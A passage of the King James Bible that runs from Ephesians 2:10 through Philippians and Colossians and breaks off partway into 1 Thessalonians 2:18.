+works, which God hath before ordained that we should walk in them. + +2:11 Wherefore remember, that ye being in time past Gentiles in the +flesh, who are called Uncircumcision by that which is called the +Circumcision in the flesh made by hands; 2:12 That at that time ye +were without Christ, being aliens from the commonwealth of Israel, and +strangers from the covenants of promise, having no hope, and without +God in the world: 2:13 But now in Christ Jesus ye who sometimes were +far off are made nigh by the blood of Christ. + +2:14 For he is our peace, who hath made both one, and hath broken down +the middle wall of partition between us; 2:15 Having abolished in his +flesh the enmity, even the law of commandments contained in +ordinances; for to make in himself of twain one new man, so making +peace; 2:16 And that he might reconcile both unto God in one body by +the cross, having slain the enmity thereby: 2:17 And came and preached +peace to you which were afar off, and to them that were nigh. + +2:18 For through him we both have access by one Spirit unto the +Father. + +2:19 Now therefore ye are no more strangers and foreigners, but +fellowcitizens with the saints, and of the household of God; 2:20 And +are built upon the foundation of the apostles and prophets, Jesus +Christ himself being the chief corner stone; 2:21 In whom all the +building fitly framed together groweth unto an holy temple in the +Lord: 2:22 In whom ye also are builded together for an habitation of +God through the Spirit. + +3:1 For this cause I Paul, the prisoner of Jesus Christ for you +Gentiles, 3:2 If ye have heard of the dispensation of the grace of God +which is given me to you-ward: 3:3 How that by revelation he made +known unto me the mystery; (as I wrote afore in few words, 3:4 +Whereby, when ye read, ye may understand my knowledge in the mystery +of Christ) 3:5 Which in other ages was not made known unto the sons of +men, as it is now revealed unto his holy apostles and prophets by the +Spirit; 3:6 That the Gentiles should be fellowheirs, and of the same +body, and partakers of his promise in Christ by the gospel: 3:7 +Whereof I was made a minister, according to the gift of the grace of +God given unto me by the effectual working of his power. + +3:8 Unto me, who am less than the least of all saints, is this grace +given, that I should preach among the Gentiles the unsearchable riches +of Christ; 3:9 And to make all men see what is the fellowship of the +mystery, which from the beginning of the world hath been hid in God, +who created all things by Jesus Christ: 3:10 To the intent that now +unto the principalities and powers in heavenly places might be known +by the church the manifold wisdom of God, 3:11 According to the +eternal purpose which he purposed in Christ Jesus our Lord: 3:12 In +whom we have boldness and access with confidence by the faith of him. + +3:13 Wherefore I desire that ye faint not at my tribulations for you, +which is your glory. + +3:14 For this cause I bow my knees unto the Father of our Lord Jesus +Christ, 3:15 Of whom the whole family in heaven and earth is named, +3:16 That he would grant you, according to the riches of his glory, to +be strengthened with might by his Spirit in the inner man; 3:17 That +Christ may dwell in your hearts by faith; that ye, being rooted and +grounded in love, 3:18 May be able to comprehend with all saints what +is the breadth, and length, and depth, and height; 3:19 And to know +the love of Christ, which passeth knowledge, that ye might be filled +with all the fulness of God. + +3:20 Now unto him that is able to do exceeding abundantly above all +that we ask or think, according to the power that worketh in us, 3:21 +Unto him be glory in the church by Christ Jesus throughout all ages, +world without end. Amen. + +4:1 I therefore, the prisoner of the Lord, beseech you that ye walk +worthy of the vocation wherewith ye are called, 4:2 With all lowliness +and meekness, with longsuffering, forbearing one another in love; 4:3 +Endeavouring to keep the unity of the Spirit in the bond of peace. + +4:4 There is one body, and one Spirit, even as ye are called in one +hope of your calling; 4:5 One Lord, one faith, one baptism, 4:6 One +God and Father of all, who is above all, and through all, and in you +all. + +4:7 But unto every one of us is given grace according to the measure +of the gift of Christ. + +4:8 Wherefore he saith, When he ascended up on high, he led captivity +captive, and gave gifts unto men. + +4:9 (Now that he ascended, what is it but that he also descended first +into the lower parts of the earth? 4:10 He that descended is the same +also that ascended up far above all heavens, that he might fill all +things.) 4:11 And he gave some, apostles; and some, prophets; and +some, evangelists; and some, pastors and teachers; 4:12 For the +perfecting of the saints, for the work of the ministry, for the +edifying of the body of Christ: 4:13 Till we all come in the unity of +the faith, and of the knowledge of the Son of God, unto a perfect man, +unto the measure of the stature of the fulness of Christ: 4:14 That we +henceforth be no more children, tossed to and fro, and carried about +with every wind of doctrine, by the sleight of men, and cunning +craftiness, whereby they lie in wait to deceive; 4:15 But speaking the +truth in love, may grow up into him in all things, which is the head, +even Christ: 4:16 From whom the whole body fitly joined together and +compacted by that which every joint supplieth, according to the +effectual working in the measure of every part, maketh increase of the +body unto the edifying of itself in love. + +4:17 This I say therefore, and testify in the Lord, that ye henceforth +walk not as other Gentiles walk, in the vanity of their mind, 4:18 +Having the understanding darkened, being alienated from the life of +God through the ignorance that is in them, because of the blindness of +their heart: 4:19 Who being past feeling have given themselves over +unto lasciviousness, to work all uncleanness with greediness. + +4:20 But ye have not so learned Christ; 4:21 If so be that ye have +heard him, and have been taught by him, as the truth is in Jesus: 4:22 +That ye put off concerning the former conversation the old man, which +is corrupt according to the deceitful lusts; 4:23 And be renewed in +the spirit of your mind; 4:24 And that ye put on the new man, which +after God is created in righteousness and true holiness. + +4:25 Wherefore putting away lying, speak every man truth with his +neighbour: for we are members one of another. + +4:26 Be ye angry, and sin not: let not the sun go down upon your +wrath: 4:27 Neither give place to the devil. + +4:28 Let him that stole steal no more: but rather let him labour, +working with his hands the thing which is good, that he may have to +give to him that needeth. + +4:29 Let no corrupt communication proceed out of your mouth, but that +which is good to the use of edifying, that it may minister grace unto +the hearers. + +4:30 And grieve not the holy Spirit of God, whereby ye are sealed unto +the day of redemption. + +4:31 Let all bitterness, and wrath, and anger, and clamour, and evil +speaking, be put away from you, with all malice: 4:32 And be ye kind +one to another, tenderhearted, forgiving one another, even as God for +Christ's sake hath forgiven you. + +5:1 Be ye therefore followers of God, as dear children; 5:2 And walk +in love, as Christ also hath loved us, and hath given himself for us +an offering and a sacrifice to God for a sweetsmelling savour. + +5:3 But fornication, and all uncleanness, or covetousness, let it not +be once named among you, as becometh saints; 5:4 Neither filthiness, +nor foolish talking, nor jesting, which are not convenient: but rather +giving of thanks. + +5:5 For this ye know, that no whoremonger, nor unclean person, nor +covetous man, who is an idolater, hath any inheritance in the kingdom +of Christ and of God. + +5:6 Let no man deceive you with vain words: for because of these +things cometh the wrath of God upon the children of disobedience. + +5:7 Be not ye therefore partakers with them. + +5:8 For ye were sometimes darkness, but now are ye light in the Lord: +walk as children of light: 5:9 (For the fruit of the Spirit is in all +goodness and righteousness and truth;) 5:10 Proving what is acceptable +unto the Lord. + +5:11 And have no fellowship with the unfruitful works of darkness, but +rather reprove them. + +5:12 For it is a shame even to speak of those things which are done of +them in secret. + +5:13 But all things that are reproved are made manifest by the light: +for whatsoever doth make manifest is light. + +5:14 Wherefore he saith, Awake thou that sleepest, and arise from the +dead, and Christ shall give thee light. + +5:15 See then that ye walk circumspectly, not as fools, but as wise, +5:16 Redeeming the time, because the days are evil. + +5:17 Wherefore be ye not unwise, but understanding what the will of +the Lord is. + +5:18 And be not drunk with wine, wherein is excess; but be filled with +the Spirit; 5:19 Speaking to yourselves in psalms and hymns and +spiritual songs, singing and making melody in your heart to the Lord; +5:20 Giving thanks always for all things unto God and the Father in +the name of our Lord Jesus Christ; 5:21 Submitting yourselves one to +another in the fear of God. + +5:22 Wives, submit yourselves unto your own husbands, as unto the +Lord. + +5:23 For the husband is the head of the wife, even as Christ is the +head of the church: and he is the saviour of the body. + +5:24 Therefore as the church is subject unto Christ, so let the wives +be to their own husbands in every thing. + +5:25 Husbands, love your wives, even as Christ also loved the church, +and gave himself for it; 5:26 That he might sanctify and cleanse it +with the washing of water by the word, 5:27 That he might present it +to himself a glorious church, not having spot, or wrinkle, or any such +thing; but that it should be holy and without blemish. + +5:28 So ought men to love their wives as their own bodies. He that +loveth his wife loveth himself. + +5:29 For no man ever yet hated his own flesh; but nourisheth and +cherisheth it, even as the Lord the church: 5:30 For we are members of +his body, of his flesh, and of his bones. + +5:31 For this cause shall a man leave his father and mother, and shall +be joined unto his wife, and they two shall be one flesh. + +5:32 This is a great mystery: but I speak concerning Christ and the +church. + +5:33 Nevertheless let every one of you in particular so love his wife +even as himself; and the wife see that she reverence her husband. + +6:1 Children, obey your parents in the Lord: for this is right. + +6:2 Honour thy father and mother; which is the first commandment with +promise; 6:3 That it may be well with thee, and thou mayest live long +on the earth. + +6:4 And, ye fathers, provoke not your children to wrath: but bring +them up in the nurture and admonition of the Lord. + +6:5 Servants, be obedient to them that are your masters according to +the flesh, with fear and trembling, in singleness of your heart, as +unto Christ; 6:6 Not with eyeservice, as menpleasers; but as the +servants of Christ, doing the will of God from the heart; 6:7 With +good will doing service, as to the Lord, and not to men: 6:8 Knowing +that whatsoever good thing any man doeth, the same shall he receive of +the Lord, whether he be bond or free. + +6:9 And, ye masters, do the same things unto them, forbearing +threatening: knowing that your Master also is in heaven; neither is +there respect of persons with him. + +6:10 Finally, my brethren, be strong in the Lord, and in the power of +his might. + +6:11 Put on the whole armour of God, that ye may be able to stand +against the wiles of the devil. + +6:12 For we wrestle not against flesh and blood, but against +principalities, against powers, against the rulers of the darkness of +this world, against spiritual wickedness in high places. + +6:13 Wherefore take unto you the whole armour of God, that ye may be +able to withstand in the evil day, and having done all, to stand. + +6:14 Stand therefore, having your loins girt about with truth, and +having on the breastplate of righteousness; 6:15 And your feet shod +with the preparation of the gospel of peace; 6:16 Above all, taking +the shield of faith, wherewith ye shall be able to quench all the +fiery darts of the wicked. + +6:17 And take the helmet of salvation, and the sword of the Spirit, +which is the word of God: 6:18 Praying always with all prayer and +supplication in the Spirit, and watching thereunto with all +perseverance and supplication for all saints; 6:19 And for me, that +utterance may be given unto me, that I may open my mouth boldly, to +make known the mystery of the gospel, 6:20 For which I am an +ambassador in bonds: that therein I may speak boldly, as I ought to +speak. + +6:21 But that ye also may know my affairs, and how I do, Tychicus, a +beloved brother and faithful minister in the Lord, shall make known to +you all things: 6:22 Whom I have sent unto you for the same purpose, +that ye might know our affairs, and that he might comfort your hearts. + +6:23 Peace be to the brethren, and love with faith, from God the +Father and the Lord Jesus Christ. + +6:24 Grace be with all them that love our Lord Jesus Christ in +sincerity. + +Amen. + + + + +The Epistle of Paul the Apostle to the Philippians + + +1:1 Paul and Timotheus, the servants of Jesus Christ, to all the +saints in Christ Jesus which are at Philippi, with the bishops and +deacons: 1:2 Grace be unto you, and peace, from God our Father, and +from the Lord Jesus Christ. + +1:3 I thank my God upon every remembrance of you, 1:4 Always in every +prayer of mine for you all making request with joy, 1:5 For your +fellowship in the gospel from the first day until now; 1:6 Being +confident of this very thing, that he which hath begun a good work in +you will perform it until the day of Jesus Christ: 1:7 Even as it is +meet for me to think this of you all, because I have you in my heart; +inasmuch as both in my bonds, and in the defence and confirmation of +the gospel, ye all are partakers of my grace. + +1:8 For God is my record, how greatly I long after you all in the +bowels of Jesus Christ. + +1:9 And this I pray, that your love may abound yet more and more in +knowledge and in all judgment; 1:10 That ye may approve things that +are excellent; that ye may be sincere and without offence till the day +of Christ. + +1:11 Being filled with the fruits of righteousness, which are by Jesus +Christ, unto the glory and praise of God. + +1:12 But I would ye should understand, brethren, that the things which +happened unto me have fallen out rather unto the furtherance of the +gospel; 1:13 So that my bonds in Christ are manifest in all the +palace, and in all other places; 1:14 And many of the brethren in the +Lord, waxing confident by my bonds, are much more bold to speak the +word without fear. + +1:15 Some indeed preach Christ even of envy and strife; and some also +of good will: 1:16 The one preach Christ of contention, not sincerely, +supposing to add affliction to my bonds: 1:17 But the other of love, +knowing that I am set for the defence of the gospel. + +1:18 What then? notwithstanding, every way, whether in pretence, or in +truth, Christ is preached; and I therein do rejoice, yea, and will +rejoice. + +1:19 For I know that this shall turn to my salvation through your +prayer, and the supply of the Spirit of Jesus Christ, 1:20 According +to my earnest expectation and my hope, that in nothing I shall be +ashamed, but that with all boldness, as always, so now also Christ +shall be magnified in my body, whether it be by life, or by death. + +1:21 For to me to live is Christ, and to die is gain. + +1:22 But if I live in the flesh, this is the fruit of my labour: yet +what I shall choose I wot not. + +1:23 For I am in a strait betwixt two, having a desire to depart, and +to be with Christ; which is far better: 1:24 Nevertheless to abide in +the flesh is more needful for you. + +1:25 And having this confidence, I know that I shall abide and +continue with you all for your furtherance and joy of faith; 1:26 That +your rejoicing may be more abundant in Jesus Christ for me by my +coming to you again. + +1:27 Only let your conversation be as it becometh the gospel of +Christ: that whether I come and see you, or else be absent, I may hear +of your affairs, that ye stand fast in one spirit, with one mind +striving together for the faith of the gospel; 1:28 And in nothing +terrified by your adversaries: which is to them an evident token of +perdition, but to you of salvation, and that of God. + +1:29 For unto you it is given in the behalf of Christ, not only to +believe on him, but also to suffer for his sake; 1:30 Having the same +conflict which ye saw in me, and now hear to be in me. + +2:1 If there be therefore any consolation in Christ, if any comfort of +love, if any fellowship of the Spirit, if any bowels and mercies, 2:2 +Fulfil ye my joy, that ye be likeminded, having the same love, being +of one accord, of one mind. + +2:3 Let nothing be done through strife or vainglory; but in lowliness +of mind let each esteem other better than themselves. + +2:4 Look not every man on his own things, but every man also on the +things of others. + +2:5 Let this mind be in you, which was also in Christ Jesus: 2:6 Who, +being in the form of God, thought it not robbery to be equal with God: +2:7 But made himself of no reputation, and took upon him the form of a +servant, and was made in the likeness of men: 2:8 And being found in +fashion as a man, he humbled himself, and became obedient unto death, +even the death of the cross. + +2:9 Wherefore God also hath highly exalted him, and given him a name +which is above every name: 2:10 That at the name of Jesus every knee +should bow, of things in heaven, and things in earth, and things under +the earth; 2:11 And that every tongue should confess that Jesus Christ +is Lord, to the glory of God the Father. + +2:12 Wherefore, my beloved, as ye have always obeyed, not as in my +presence only, but now much more in my absence, work out your own +salvation with fear and trembling. + +2:13 For it is God which worketh in you both to will and to do of his +good pleasure. + +2:14 Do all things without murmurings and disputings: 2:15 That ye may +be blameless and harmless, the sons of God, without rebuke, in the +midst of a crooked and perverse nation, among whom ye shine as lights +in the world; 2:16 Holding forth the word of life; that I may rejoice +in the day of Christ, that I have not run in vain, neither laboured in +vain. + +2:17 Yea, and if I be offered upon the sacrifice and service of your +faith, I joy, and rejoice with you all. + +2:18 For the same cause also do ye joy, and rejoice with me. + +2:19 But I trust in the Lord Jesus to send Timotheus shortly unto you, +that I also may be of good comfort, when I know your state. + +2:20 For I have no man likeminded, who will naturally care for your +state. + +2:21 For all seek their own, not the things which are Jesus Christ's. + +2:22 But ye know the proof of him, that, as a son with the father, he +hath served with me in the gospel. + +2:23 Him therefore I hope to send presently, so soon as I shall see +how it will go with me. + +2:24 But I trust in the Lord that I also myself shall come shortly. + +2:25 Yet I supposed it necessary to send to you Epaphroditus, my +brother, and companion in labour, and fellowsoldier, but your +messenger, and he that ministered to my wants. + +2:26 For he longed after you all, and was full of heaviness, because +that ye had heard that he had been sick. + +2:27 For indeed he was sick nigh unto death: but God had mercy on him; +and not on him only, but on me also, lest I should have sorrow upon +sorrow. + +2:28 I sent him therefore the more carefully, that, when ye see him +again, ye may rejoice, and that I may be the less sorrowful. + +2:29 Receive him therefore in the Lord with all gladness; and hold +such in reputation: 2:30 Because for the work of Christ he was nigh +unto death, not regarding his life, to supply your lack of service +toward me. + +3:1 Finally, my brethren, rejoice in the Lord. To write the same +things to you, to me indeed is not grievous, but for you it is safe. + +3:2 Beware of dogs, beware of evil workers, beware of the concision. + +3:3 For we are the circumcision, which worship God in the spirit, and +rejoice in Christ Jesus, and have no confidence in the flesh. + +3:4 Though I might also have confidence in the flesh. If any other man +thinketh that he hath whereof he might trust in the flesh, I more: 3:5 +Circumcised the eighth day, of the stock of Israel, of the tribe of +Benjamin, an Hebrew of the Hebrews; as touching the law, a Pharisee; +3:6 Concerning zeal, persecuting the church; touching the +righteousness which is in the law, blameless. + +3:7 But what things were gain to me, those I counted loss for Christ. + +3:8 Yea doubtless, and I count all things but loss for the excellency +of the knowledge of Christ Jesus my Lord: for whom I have suffered the +loss of all things, and do count them but dung, that I may win Christ, +3:9 And be found in him, not having mine own righteousness, which is +of the law, but that which is through the faith of Christ, the +righteousness which is of God by faith: 3:10 That I may know him, and +the power of his resurrection, and the fellowship of his sufferings, +being made conformable unto his death; 3:11 If by any means I might +attain unto the resurrection of the dead. + +3:12 Not as though I had already attained, either were already +perfect: but I follow after, if that I may apprehend that for which +also I am apprehended of Christ Jesus. + +3:13 Brethren, I count not myself to have apprehended: but this one +thing I do, forgetting those things which are behind, and reaching +forth unto those things which are before, 3:14 I press toward the mark +for the prize of the high calling of God in Christ Jesus. + +3:15 Let us therefore, as many as be perfect, be thus minded: and if +in any thing ye be otherwise minded, God shall reveal even this unto +you. + +3:16 Nevertheless, whereto we have already attained, let us walk by +the same rule, let us mind the same thing. + +3:17 Brethren, be followers together of me, and mark them which walk +so as ye have us for an ensample. + +3:18 (For many walk, of whom I have told you often, and now tell you +even weeping, that they are the enemies of the cross of Christ: 3:19 +Whose end is destruction, whose God is their belly, and whose glory is +in their shame, who mind earthly things.) 3:20 For our conversation +is in heaven; from whence also we look for the Saviour, the Lord Jesus +Christ: 3:21 Who shall change our vile body, that it may be fashioned +like unto his glorious body, according to the working whereby he is +able even to subdue all things unto himself. + +4:1 Therefore, my brethren dearly beloved and longed for, my joy and +crown, so stand fast in the Lord, my dearly beloved. + +4:2 I beseech Euodias, and beseech Syntyche, that they be of the same +mind in the Lord. + +4:3 And I intreat thee also, true yokefellow, help those women which +laboured with me in the gospel, with Clement also, and with other my +fellowlabourers, whose names are in the book of life. + +4:4 Rejoice in the Lord alway: and again I say, Rejoice. + +4:5 Let your moderation be known unto all men. The Lord is at hand. + +4:6 Be careful for nothing; but in every thing by prayer and +supplication with thanksgiving let your requests be made known unto +God. + +4:7 And the peace of God, which passeth all understanding, shall keep +your hearts and minds through Christ Jesus. + +4:8 Finally, brethren, whatsoever things are true, whatsoever things +are honest, whatsoever things are just, whatsoever things are pure, +whatsoever things are lovely, whatsoever things are of good report; if +there be any virtue, and if there be any praise, think on these +things. + +4:9 Those things, which ye have both learned, and received, and heard, +and seen in me, do: and the God of peace shall be with you. + +4:10 But I rejoiced in the Lord greatly, that now at the last your +care of me hath flourished again; wherein ye were also careful, but ye +lacked opportunity. + +4:11 Not that I speak in respect of want: for I have learned, in +whatsoever state I am, therewith to be content. + +4:12 I know both how to be abased, and I know how to abound: every +where and in all things I am instructed both to be full and to be +hungry, both to abound and to suffer need. + +4:13 I can do all things through Christ which strengtheneth me. + +4:14 Notwithstanding ye have well done, that ye did communicate with +my affliction. + +4:15 Now ye Philippians know also, that in the beginning of the +gospel, when I departed from Macedonia, no church communicated with me +as concerning giving and receiving, but ye only. + +4:16 For even in Thessalonica ye sent once and again unto my +necessity. + +4:17 Not because I desire a gift: but I desire fruit that may abound +to your account. + +4:18 But I have all, and abound: I am full, having received of +Epaphroditus the things which were sent from you, an odour of a sweet +smell, a sacrifice acceptable, wellpleasing to God. + +4:19 But my God shall supply all your need according to his riches in +glory by Christ Jesus. + +4:20 Now unto God and our Father be glory for ever and ever. Amen. + +4:21 Salute every saint in Christ Jesus. The brethren which are with +me greet you. + +4:22 All the saints salute you, chiefly they that are of Caesar's +household. + +4:23 The grace of our Lord Jesus Christ be with you all. Amen. + + + + +The Epistle of Paul the Apostle to the Colossians + + +1:1 Paul, an apostle of Jesus Christ by the will of God, +and Timotheus our brother, 1:2 To the saints and faithful brethren +in Christ which are at Colosse: Grace be unto you, and peace, +from God our Father and the Lord Jesus Christ. + +1:3 We give thanks to God and the Father of our Lord Jesus Christ, praying +always for you, +1:4 Since we heard of your faith in Christ Jesus, and of the love which ye +have to all the saints, +1:5 For the hope which is laid up for you in heaven, whereof ye heard +before in the word of the truth of the gospel; +1:6 Which is come unto you, as it is in all the world; and bringeth forth +fruit, as it doth also in you, since the day ye heard of it, and knew the +grace of God in truth: +1:7 As ye also learned of Epaphras our dear fellowservant, who is for you +a faithful minister of Christ; +1:8 Who also declared unto us your love in the Spirit. + +1:9 For this cause we also, since the day we heard it, do not cease to +pray for you, and to desire that ye might be filled with the knowledge of his +will in all wisdom and spiritual understanding; +1:10 That ye might walk worthy of the Lord unto all pleasing, being +fruitful in every good work, and increasing in the knowledge of God; +1:11 Strengthened with all might, according to his glorious power, unto +all patience and longsuffering with joyfulness; +1:12 Giving thanks unto the Father, which hath made us meet to be +partakers of the inheritance of the saints in light: +1:13 Who hath delivered us from the power of darkness, and hath translated +us into the kingdom of his dear Son: +1:14 In whom we have redemption through his blood, even the forgiveness of +sins: +1:15 Who is the image of the invisible God, the firstborn of every +creature: +1:16 For by him were all things created, that are in heaven, and that are +in earth, visible and invisible, whether they be thrones, or dominions, or +principalities, or powers: all things were created by him, and for him: +1:17 And he is before all things, and by him all things consist. + +1:18 And he is the head of the body, the church: who is the beginning, the +firstborn from the dead; that in all things he might have the preeminence. + +1:19 For it pleased the Father that in him should all fulness dwell; +1:20 And, having made peace through the blood of his cross, by him to +reconcile all things unto himself; by him, I say, whether they be things in +earth, or things in heaven. + +1:21 And you, that were sometime alienated and enemies in your mind by +wicked works, yet now hath he reconciled +1:22 In the body of his flesh through death, to present you holy and +unblameable and unreproveable in his sight: +1:23 If ye continue in the faith grounded and settled, and be not moved +away from the hope of the gospel, which ye have heard, and which was preached +to every creature which is under heaven; whereof I Paul am made a minister; +1:24 Who now rejoice in my sufferings for you, and fill up that which is +behind of the afflictions of Christ in my flesh for his body's sake, which is +the church: +1:25 Whereof I am made a minister, according to the dispensation of God +which is given to me for you, to fulfil the word of God; +1:26 Even the mystery which hath been hid from ages and from generations, +but now is made manifest to his saints: +1:27 To whom God would make known what is the riches of the glory of this +mystery among the Gentiles; which is Christ in you, the hope of glory: +1:28 Whom we preach, warning every man, and teaching every man in all +wisdom; that we may present every man perfect in Christ Jesus: +1:29 Whereunto I also labour, striving according to his working, which +worketh in me mightily. + +2:1 For I would that ye knew what great conflict I have for you, and for +them at Laodicea, and for as many as have not seen my face in the flesh; +2:2 That their hearts might be comforted, being knit together in love, and +unto all riches of the full assurance of understanding, to the +acknowledgement of the mystery of God, and of the Father, and of Christ; +2:3 In whom are hid all the treasures of wisdom and knowledge. + +2:4 And this I say, lest any man should beguile you with enticing words. + +2:5 For though I be absent in the flesh, yet am I with you in the spirit, +joying and beholding your order, and the stedfastness of your faith in +Christ. + +2:6 As ye have therefore received Christ Jesus the Lord, so walk ye in +him: +2:7 Rooted and built up in him, and stablished in the faith, as ye have +been taught, abounding therein with thanksgiving. + +2:8 Beware lest any man spoil you through philosophy and vain deceit, +after the tradition of men, after the rudiments of the world, and not after +Christ. + +2:9 For in him dwelleth all the fulness of the Godhead bodily. + +2:10 And ye are complete in him, which is the head of all principality and +power: +2:11 In whom also ye are circumcised with the circumcision made without +hands, in putting off the body of the sins of the flesh by the circumcision +of Christ: +2:12 Buried with him in baptism, wherein also ye are risen with him +through the faith of the operation of God, who hath raised him from the dead. + +2:13 And you, being dead in your sins and the uncircumcision of your +flesh, hath he quickened together with him, having forgiven you all +trespasses; +2:14 Blotting out the handwriting of ordinances that was against us, which +was contrary to us, and took it out of the way, nailing it to his cross; +2:15 And having spoiled principalities and powers, he made a shew of them +openly, triumphing over them in it. + +2:16 Let no man therefore judge you in meat, or in drink, or in respect of +an holyday, or of the new moon, or of the sabbath days: +2:17 Which are a shadow of things to come; but the body is of Christ. + +2:18 Let no man beguile you of your reward in a voluntary humility and +worshipping of angels, intruding into those things which he hath not seen, +vainly puffed up by his fleshly mind, +2:19 And not holding the Head, from which all the body by joints and bands +having nourishment ministered, and knit together, increaseth with the +increase of God. + +2:20 Wherefore if ye be dead with Christ from the rudiments of the world, +why, as though living in the world, are ye subject to ordinances, +2:21 (Touch not; taste not; handle not; +2:22 Which all are to perish with the using;) after the commandments and +doctrines of men? +2:23 Which things have indeed a shew of wisdom in will worship, and +humility, and neglecting of the body: not in any honour to the satisfying +of the flesh. + +3:1 If ye then be risen with Christ, seek those things which are above, +where Christ sitteth on the right hand of God. + +3:2 Set your affection on things above, not on things on the earth. + +3:3 For ye are dead, and your life is hid with Christ in God. + +3:4 When Christ, who is our life, shall appear, then shall ye also appear +with him in glory. + +3:5 Mortify therefore your members which are upon the earth; fornication, +uncleanness, inordinate affection, evil concupiscence, and covetousness, +which is idolatry: +3:6 For which things' sake the wrath of God cometh on the children of +disobedience: +3:7 In the which ye also walked some time, when ye lived in them. + +3:8 But now ye also put off all these; anger, wrath, malice, blasphemy, +filthy communication out of your mouth. + +3:9 Lie not one to another, seeing that ye have put off the old man with +his deeds; +3:10 And have put on the new man, which is renewed in knowledge after the +image of him that created him: +3:11 Where there is neither Greek nor Jew, circumcision nor +uncircumcision, Barbarian, Scythian, bond nor free: but Christ is all, and in +all. + +3:12 Put on therefore, as the elect of God, holy and beloved, bowels of +mercies, kindness, humbleness of mind, meekness, longsuffering; +3:13 Forbearing one another, and forgiving one another, if any man have a +quarrel against any: even as Christ forgave you, so also do ye. + +3:14 And above all these things put on charity, which is the bond of +perfectness. + +3:15 And let the peace of God rule in your hearts, to the which also ye +are called in one body; and be ye thankful. + +3:16 Let the word of Christ dwell in you richly in all wisdom; teaching +and admonishing one another in psalms and hymns and spiritual songs, singing +with grace in your hearts to the Lord. + +3:17 And whatsoever ye do in word or deed, do all in the name of the Lord +Jesus, giving thanks to God and the Father by him. + +3:18 Wives, submit yourselves unto your own husbands, as it is fit in the +Lord. + +3:19 Husbands, love your wives, and be not bitter against them. + +3:20 Children, obey your parents in all things: for this is well pleasing +unto the Lord. + +3:21 Fathers, provoke not your children to anger, lest they be +discouraged. + +3:22 Servants, obey in all things your masters according to the flesh; not +with eyeservice, as menpleasers; but in singleness of heart, fearing God; +3:23 And whatsoever ye do, do it heartily, as to the Lord, and not unto +men; +3:24 Knowing that of the Lord ye shall receive the reward of the +inheritance: for ye serve the Lord Christ. + +3:25 But he that doeth wrong shall receive for the wrong which he hath +done: and there is no respect of persons. + +4:1 Masters, give unto your servants that which is just and equal; knowing +that ye also have a Master in heaven. + +4:2 Continue in prayer, and watch in the same with thanksgiving; +4:3 Withal praying also for us, that God would open unto us a door of +utterance, to speak the mystery of Christ, for which I am also in bonds: +4:4 That I may make it manifest, as I ought to speak. + +4:5 Walk in wisdom toward them that are without, redeeming the time. + +4:6 Let your speech be alway with grace, seasoned with salt, that ye may +know how ye ought to answer every man. + +4:7 All my state shall Tychicus declare unto you, who is a beloved +brother, and a faithful minister and fellowservant in the Lord: +4:8 Whom I have sent unto you for the same purpose, that he might know +your estate, and comfort your hearts; +4:9 With Onesimus, a faithful and beloved brother, who is one of you. They +shall make known unto you all things which are done here. + +4:10 Aristarchus my fellowprisoner saluteth you, and Marcus, sister's son +to Barnabas, (touching whom ye received commandments: if he come unto you, +receive him;) +4:11 And Jesus, which is called Justus, who are of the circumcision. These +only are my fellowworkers unto the kingdom of God, which have been a comfort +unto me. + +4:12 Epaphras, who is one of you, a servant of Christ, saluteth you, +always labouring fervently for you in prayers, that ye may stand perfect and +complete in all the will of God. + +4:13 For I bear him record, that he hath a great zeal for you, and them +that are in Laodicea, and them in Hierapolis. + +4:14 Luke, the beloved physician, and Demas, greet you. + +4:15 Salute the brethren which are in Laodicea, and Nymphas, and the +church which is in his house. + +4:16 And when this epistle is read among you, cause that it be read also +in the church of the Laodiceans; and that ye likewise read the epistle from +Laodicea. + +4:17 And say to Archippus, Take heed to the ministry which thou hast +received in the Lord, that thou fulfil it. + +4:18 The salutation by the hand of me Paul. Remember my bonds. Grace be +with you. Amen. + + + + +The First Epistle of Paul the Apostle to the Thessalonians + + +1:1 Paul, and Silvanus, and Timotheus, unto the church of the +Thessalonians which is in God the Father and in the Lord Jesus Christ: +Grace be unto you, and peace, from God our Father, and the Lord Jesus +Christ. + +1:2 We give thanks to God always for you all, making mention of you in +our prayers; 1:3 Remembering without ceasing your work of faith, and +labour of love, and patience of hope in our Lord Jesus Christ, in the +sight of God and our Father; 1:4 Knowing, brethren beloved, your +election of God. + +1:5 For our gospel came not unto you in word only, but also in power, +and in the Holy Ghost, and in much assurance; as ye know what manner +of men we were among you for your sake. + +1:6 And ye became followers of us, and of the Lord, having received +the word in much affliction, with joy of the Holy Ghost. + +1:7 So that ye were ensamples to all that believe in Macedonia and +Achaia. + +1:8 For from you sounded out the word of the Lord not only in +Macedonia and Achaia, but also in every place your faith to God-ward +is spread abroad; so that we need not to speak any thing. + +1:9 For they themselves shew of us what manner of entering in we had +unto you, and how ye turned to God from idols to serve the living and +true God; 1:10 And to wait for his Son from heaven, whom he raised +from the dead, even Jesus, which delivered us from the wrath to come. + +2:1 For yourselves, brethren, know our entrance in unto you, that it +was not in vain: 2:2 But even after that we had suffered before, and +were shamefully entreated, as ye know, at Philippi, we were bold in +our God to speak unto you the gospel of God with much contention. + +2:3 For our exhortation was not of deceit, nor of uncleanness, nor in +guile: 2:4 But as we were allowed of God to be put in trust with the +gospel, even so we speak; not as pleasing men, but God, which trieth +our hearts. + +2:5 For neither at any time used we flattering words, as ye know, nor +a cloke of covetousness; God is witness: 2:6 Nor of men sought we +glory, neither of you, nor yet of others, when we might have been +burdensome, as the apostles of Christ. + +2:7 But we were gentle among you, even as a nurse cherisheth her +children: 2:8 So being affectionately desirous of you, we were willing +to have imparted unto you, not the gospel of God only, but also our +own souls, because ye were dear unto us. + +2:9 For ye remember, brethren, our labour and travail: for labouring +night and day, because we would not be chargeable unto any of you, we +preached unto you the gospel of God. + +2:10 Ye are witnesses, and God also, how holily and justly and +unblameably we behaved ourselves among you that believe: 2:11 As ye +know how we exhorted and comforted and charged every one of you, as a +father doth his children, 2:12 That ye would walk worthy of God, who +hath called you unto his kingdom and glory. + +2:13 For this cause also thank we God without ceasing, because, when +ye received the word of God which ye heard of us, ye received it not +as the word of men, but as it is in truth, the word of God, which +effectually worketh also in you that believe. + +2:14 For ye, brethren, became followers of the churches of God which +in Judaea are in Christ Jesus: for ye also have suffered like things +of your own countrymen, even as they have of the Jews: 2:15 Who both +killed the Lord Jesus, and their own prophets, and have persecuted us; +and they please not God, and are contrary to all men: 2:16 Forbidding +us to speak to the Gentiles that they might be saved, to fill up their +sins alway: for the wrath is come upon them to the uttermost. + +2:17 But we, brethren, being taken from you for a short time in +presence, not in heart, endeavoured the more abundantly to see your +face with great desire. + +2:18 Wherefore we would have come unto you, even I Paul, once and 